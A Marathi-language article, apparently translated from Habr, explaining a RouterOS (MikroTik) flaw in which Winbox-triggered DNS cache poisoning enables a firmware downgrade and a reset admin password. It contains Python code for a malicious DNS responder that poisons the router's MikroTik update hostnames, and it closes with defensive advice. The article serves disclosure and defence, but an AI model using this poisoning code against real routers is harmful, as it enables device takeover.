RouterOS मधील बॅकपोर्ट असुरक्षा शेकडो हजारो उपकरणांना धोका निर्माण करते

RouterOS (Mikrotik) वर आधारित डिव्हाइसेस दूरस्थपणे डाउनग्रेड करण्याची क्षमता शेकडो हजारो नेटवर्क डिव्हाइसेसना धोक्यात आणते. असुरक्षितता Winbox प्रोटोकॉलच्या DNS कॅशेच्या विषबाधाशी संबंधित आहे आणि आपल्याला डिव्हाइसवर जुने (डीफॉल्ट पासवर्ड रीसेटसह) किंवा सुधारित फर्मवेअर लोड करण्याची परवानगी देते.

भेद्यता तपशील

RouterOS टर्मिनल DNS लुकअपसाठी रिझोल्यूशन कमांडला सपोर्ट करते.

ही विनंती रिझोल्व्हर नावाच्या बायनरीद्वारे हाताळली जाते. राऊटरओएसच्या विनबॉक्स प्रोटोकॉलला जोडणाऱ्या अनेक बायनरींपैकी एक रिझॉल्व्हर आहे. उच्च स्तरावर, Winbox पोर्टवर पाठवलेले "संदेश" अ‍ॅरे-आधारित क्रमांकन योजनेवर आधारित RouterOS मधील विविध बायनरींमध्ये पाठवले जाऊ शकतात.

डीफॉल्टनुसार, RouterOS मध्ये DNS सर्व्हर वैशिष्ट्य अक्षम केले आहे.

तथापि, सर्व्हर फंक्शन अक्षम असतानाही, राउटर स्वतःचा DNS कॅशे राखतो.

आम्ही winbox_dns_request वापरून विनंती करतो, उदाहरणार्थ example.com, राउटर निकाल कॅश करेल.

आम्ही DNS सर्व्हर निर्दिष्ट करू शकतो ज्याद्वारे विनंती जावी, चुकीचे पत्ते प्रविष्ट करणे क्षुल्लक आहे. उदाहरणार्थ, तुम्ही यावरून DNS सर्व्हर अंमलबजावणी कॉन्फिगर करू शकता फिलिप क्लॉसनेहमी 192.168.88.250 IP पत्ता असलेल्या A रेकॉर्डसह प्रतिसाद देण्यासाठी.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

आता तुम्ही Winbox वापरून example.com शोधल्यास, राउटरच्या DNS कॅशेमध्ये विषबाधा झाल्याचे तुम्ही पाहू शकता.

अर्थात, विषबाधा example.com फारशी उपयुक्त नाही कारण राउटर प्रत्यक्षात त्याचा वापर करणार नाही. तथापि, राउटरला upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com आणि download.mikrotik.com मध्ये प्रवेश करणे आवश्यक आहे. आणि दुसर्या चुकीबद्दल धन्यवाद, त्यांना एकाच वेळी विष देणे शक्य आहे.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

राउटर एका परवानगीची विनंती करतो आणि आम्ही पाच परत देतो. राउटर या सर्व प्रतिसादांना योग्यरित्या कॅशे करत नाही.

साहजिकच, जर राउटर DNS सर्व्हर म्हणून काम करत असेल तर हा हल्ला देखील उपयुक्त आहे, कारण तो राउटरच्या क्लायंटवर हल्ला करण्याची परवानगी देतो.

हा हल्ला तुम्हाला अधिक गंभीर भेद्यतेचा फायदा घेण्यास देखील अनुमती देतो: RouterOS ची आवृत्ती डाउनग्रेड किंवा बॅकपोर्ट करा. आक्रमणकर्ता चेंजलॉगसह अपडेट सर्व्हरचे तर्क पुन्हा तयार करतो आणि RouterOS ला कालबाह्य (असुरक्षित) आवृत्ती वर्तमान म्हणून समजण्यास भाग पाडतो. येथे धोका या वस्तुस्थितीत आहे की जेव्हा आवृत्ती “अपडेट” केली जाते, तेव्हा प्रशासक संकेतशब्द डीफॉल्ट मूल्यावर रीसेट केला जातो - आक्रमणकर्ता रिक्त पासवर्डसह सिस्टममध्ये लॉग इन करू शकतो!

हल्ला जोरदार कार्यरत आहे, की असूनही लेखक शी संबंधित सह आणखी अनेक वेक्टर लागू करते फर्मवेअरमध्ये मागील दरवाजा एम्बेड करणे, परंतु हे आधीच एक अनावश्यक तंत्र आहे आणि बेकायदेशीर हेतूंसाठी त्याचा वापर बेकायदेशीर आहे.

संरक्षण

फक्त Winbox अक्षम केल्याने तुम्हाला या हल्ल्यांपासून स्वतःचे संरक्षण करता येते. Winbox द्वारे प्रशासनाची सोय असूनही, SSH प्रोटोकॉल वापरणे चांगले आहे.

स्त्रोत: www.habr.com